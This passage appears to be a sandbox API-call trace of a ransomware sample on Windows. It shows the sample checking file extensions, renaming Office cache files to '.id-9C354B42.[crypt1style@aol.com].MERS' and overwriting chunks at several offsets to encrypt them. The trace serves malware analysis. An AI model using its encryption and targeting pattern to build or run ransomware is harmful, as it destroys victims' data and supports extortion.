lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0044.745] lstrlenW (lpString=".pdf") returned 4 [0044.745] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString=".xls") returned 4 [0044.745] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString=".xlsx") returned 5 [0044.745] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0044.745] lstrlenW (lpString=".ppt") returned 4 [0044.745] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.745] lstrlenW (lpString=".zip") returned 4 [0044.745] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString=".rar") returned 4 [0044.745] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0044.745] lstrlenW (lpString=".bz2") returned 4 [0044.745] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0044.746] lstrlenW (lpString=".7z") returned 3 [0044.746] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0044.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.746] lstrlenW (lpString=".dbf") returned 4 [0044.746] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0044.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.746] lstrlenW (lpString=".1cd") returned 4 [0044.746] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0044.746] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0044.746] lstrlenW (lpString=".jpg") returned 4 [0044.746] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0044.746] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0044.746] lstrlenW (lpString="OfficeLR.cab") returned 12 [0044.746] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.473] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=14127746) returned 1 [0045.473] CloseHandle (hObject=0x214) returned 1 [0045.473] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0045.473] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.473] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.474] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.474] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.474] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.474] ReadFile (in: hFile=0x214, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.516] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.516] ReadFile (in: hFile=0x214, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.535] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.535] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.535] ReadFile (in: hFile=0x214, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.694] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.694] WriteFile (in: hFile=0x214, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.714] SetEndOfFile (hFile=0x214) returned 1 [0045.714] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0045.714] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.714] WriteFile (in: hFile=0x214, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.740] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.740] WriteFile (in: hFile=0x214, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.740] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.740] WriteFile (in: hFile=0x214, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.742] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0045.742] CloseHandle (hObject=0x214) returned 1 [0045.742] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0045.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.743] lstrlenW (lpString=".doc") returned 4 [0045.743] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString=".docx") returned 5 [0045.743] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.743] lstrlenW (lpString=".pdf") returned 4 [0045.743] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString=".xls") returned 4 [0045.743] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString=".xlsx") returned 5 [0045.743] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.743] lstrlenW (lpString=".ppt") returned 4 [0045.743] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.743] lstrlenW (lpString=".zip") returned 4 [0045.743] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString=".rar") returned 4 [0045.743] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString=".bz2") returned 4 [0045.743] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.743] lstrlenW (lpString=".7z") returned 3 [0045.743] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.743] lstrlenW (lpString=".dbf") returned 4 [0045.743] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString=".1cd") returned 4 [0045.744] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString=".jpg") returned 4 [0045.744] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString=".doc") returned 4 [0045.744] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString=".docx") returned 5 [0045.744] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0045.744] lstrlenW (lpString=".pdf") returned 4 [0045.744] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString=".xls") returned 4 [0045.744] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString=".xlsx") returned 5 [0045.744] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0045.744] lstrlenW (lpString=".ppt") returned 4 [0045.744] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString=".zip") returned 4 [0045.744] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString=".rar") returned 4 [0045.744] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString=".bz2") returned 4 [0045.744] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.744] lstrlenW (lpString=".7z") returned 3 [0045.744] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.744] lstrlenW (lpString=".dbf") returned 4 [0045.744] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.744] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.745] lstrlenW (lpString=".1cd") returned 4 [0045.745] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0045.745] lstrlenW (lpString=".jpg") returned 4 [0045.745] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.745] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0045.745] lstrlenW (lpString="Office32WW.msi") returned 14 [0045.745] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.745] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=1992192) returned 1 [0045.745] CloseHandle (hObject=0x214) returned 1 [0045.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0045.745] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0045.745] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0045.746] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0045.746] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.746] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.746] ReadFile (in: hFile=0x214, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.111] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.111] ReadFile (in: hFile=0x214, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.434] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.434] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.434] ReadFile (in: hFile=0x214, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.512] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.512] WriteFile (in: hFile=0x214, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.604] SetEndOfFile (hFile=0x214) returned 1 [0046.604] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43a0048 [0046.608] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.608] WriteFile (in: hFile=0x214, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.624] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.624] WriteFile (in: hFile=0x214, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.626] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.626] WriteFile (in: hFile=0x214, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.628] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43a0048 | out: hHeap=0x5f0000) returned 1 [0046.632] CloseHandle (hObject=0x214) returned 1 [0046.632] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0046.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.632] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.632] lstrlenW (lpString=".doc") returned 4 [0046.632] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.632] lstrlenW (lpString=".docx") returned 5 [0046.632] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.633] lstrlenW (lpString=".pdf") returned 4 [0046.633] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.633] lstrlenW (lpString=".xls") returned 4 [0046.633] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.633] lstrlenW (lpString=".xlsx") returned 5 [0046.633] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.633] lstrlenW (lpString=".ppt") returned 4 [0046.633] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString=".zip") returned 4 [0046.633] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.633] lstrlenW (lpString=".rar") returned 4 [0046.633] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.633] lstrlenW (lpString=".bz2") returned 4 [0046.633] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.633] lstrlenW (lpString=".7z") returned 3 [0046.633] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString=".dbf") returned 4 [0046.633] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString=".1cd") returned 4 [0046.633] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString=".jpg") returned 4 [0046.633] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.633] lstrlenW (lpString=".doc") returned 4 [0046.633] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0046.640] lstrlenW (lpString=".docx") returned 5 [0046.640] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0046.640] lstrlenW (lpString=".pdf") returned 4 [0046.640] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0046.640] lstrlenW (lpString=".xls") returned 4 [0046.640] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0046.640] lstrlenW (lpString=".xlsx") returned 5 [0046.640] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0046.640] lstrlenW (lpString=".ppt") returned 4 [0046.640] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0046.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.640] lstrlenW (lpString=".zip") returned 4 [0046.640] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0046.640] lstrlenW (lpString=".rar") returned 4 [0046.640] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0046.640] lstrlenW (lpString=".bz2") returned 4 [0046.640] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0046.640] lstrlenW (lpString=".7z") returned 3 [0046.640] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0046.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.641] lstrlenW (lpString=".dbf") returned 4 [0046.641] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0046.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.641] lstrlenW (lpString=".1cd") returned 4 [0046.641] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0046.641] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0046.641] lstrlenW (lpString=".jpg") returned 4 [0046.641] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0046.641] lstrcmpiW (lpString1=".xrm-ms", lpString2=".MERS") returned 1 [0046.641] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0046.641] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.642] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=715834) returned 1 [0046.642] CloseHandle (hObject=0x214) returned 1 [0046.642] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0046.642] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0046.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0046.642] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.642] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.642] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0046.642] GetLastError () returned 0x0 [0046.642] ReadFile (in: hFile=0x214, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0046.923] WriteFile (in: hFile=0x1c4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, 